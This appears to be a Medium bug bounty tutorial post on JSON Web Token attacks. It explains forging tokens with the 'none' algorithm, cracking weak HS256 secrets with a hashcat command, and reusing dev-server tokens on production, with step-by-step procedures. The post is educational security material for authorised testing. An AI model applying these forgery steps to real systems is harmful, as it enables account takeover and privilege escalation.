“Bug Bounty Bootcamp #42: JWT Attacks — How a Stolen Token or a Weak Secret Can Grant You Admin…

JSON Web Tokens are everywhere — in cookies, Authorization headers, and API calls. But a misconfigured algorithm or a reusable key can turn this secure standard into a backdoor. Learn to spot the flaws that let you forge tokens and escalate privileges across entire organisations.

Welcome back. You've mastered RCE, XXE, and SSRF. Now we dive into the world of authentication tokens: JSON Web Tokens (JWT) . JWT is a popular, stateless way to manage user sessions and API access. When implemented correctly, it's secure. When misconfigured, it's a treasure chest. This lesson covers three critical JWT vulnerabilities: algorithm switching to none , weak cryptographic keys that can be brute‑forced, and token reuse between development and production environments. Each of these can lead to full account takeover.

What Is a JWT? The Three‑Part Token

A JWT looks like:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

It has three base64‑encoded parts, separated by dots:

Header — contains the signing algorithm (e.g., HS256, RS256, or none).
Payload — the claims (e.g., {"username":"guest", "role":"user"}).
Signature — verifies that the token hasn't been tampered with.

The signature is created by hashing the header + payload with a secret key (for symmetric algorithms like HS256). If an attacker can forge the signature, they can change the payload and become any user.

Vulnerability 1: The `none` Algorithm – No Signature, No Security

Some JWT libraries support the alg: "none" value for debugging. If the application doesn't explicitly disallow it, an attacker can change the algorithm to none and remove the signature entirely.

The Attack:

Capture a valid JWT (e.g., for user guest).
Decode the header (base64) and change "alg":"HS256" to "alg":"none".
Modify the payload to change "username":"guest" to "username":"admin".
Remove the signature part (or set it to an empty string).
Resubmit the modified token.

Lab Example: The course shows exactly this. After forging the token with alg: none and username: admin, the server accepted it and displayed "well done, you got admin".

Vulnerability 2: Weak Signing Keys — Brute‑Force the Secret

Even when the algorithm is secure (e.g., HS256), the security depends entirely on the secret key. If the key is weak – secret, password, or a short dictionary word – an attacker can crack it offline.

The Attack:

Obtain a valid JWT.
Use a tool like Hashcat (mode 16500) or john to brute‑force the key against a wordlist.
Once the key is found, forge a new token with elevated privileges (e.g., username: admin) and sign it with the cracked key.

Lab Example: The course uses Hashcat with a wordlist containing the word secret. Hashcat quickly finds the key. Then the attacker modifies the payload to admin, re‑signs the token using the cracked secret, and submits it – gaining admin access.

Command example:

hashcat -m 16500 jwt.txt passwords.txt

hashcat -m 16500 jwt.txt passwords.txt

Vulnerability 3: Token Reuse Between Development and Production

Organisations often run separate development and production environments. If both use the same JWT signing key, a token generated on the dev server works perfectly on the production server.

The Attack:

Register an account on the development server (often with weaker restrictions, like any email allowed).
Capture the JWT issued by the dev server.
Use that same JWT (cookie or Authorization header) when accessing the production server.
If the production server accepts it, you're logged in as that user — even though you never registered there.

Lab Example: The production server only allowed @private.co email addresses, preventing direct registration. But the development server had no such restriction. The researcher registered test@test.com on dev, took the JWT, and used it on the production server – successfully authenticating.

The Hunter's JWT Testing Methodology

Capture any JWT from the target (login, password reset, API response).
Decode it using jwt.io or a local script. Examine the header and payload.
Test the none algorithm – change alg to none, modify the payload, and remove the signature. Resend.
Attempt to brute‑force the secret using Hashcat and a good wordlist (e.g., rockyou.txt). If cracked, forge an admin token.
Look for other environments — subdomains, staging servers, development instances. Try reusing tokens across them.
Check for RS256 to HS256 confusion (a more advanced attack – if the public key is known, you can sign tokens with HS256 using that key).

Why JWT Flaws Pay Well

A successful JWT attack often leads to full account takeover — you can become any user, including administrators. This bypasses all other access controls. Bug bounty programs rate these findings as High to Critical, depending on the privileges you can achieve.

Pro Tip: When you find a JWT with a weak secret, don't just report "weak key". Demonstrate impact: forge a token that changes "role":"user" to "role":"admin" or modifies a user ID to access someone else's data.

you can check this article too…

Bug Bounty Bootcamp #41: Remote Command Execution — From Innocent Inputs to Full Server Takeover A stock checker that pings an IP. A comment box that echoes your name. These simple features hide a terrifying truth…

"Day 7: API Hacking — How I Stole 5000 OAuth Tokens & Won $300" Last month, while testing a "secure" fintech app, I discovered an unprotected Firebase database leaking OAuth tokens…

List: Bug Bounty series | Curated by Aman Sharma | Medium Bug Bounty series · 29 stories on Medium

Clap 50 times for this story Leave a comment telling me your thoughts Highlight your Favorite part of the story These tiny actions go a long way, and I really appreciate it.

Thank you for reading and for helping me grow this community!

Medium!

Contents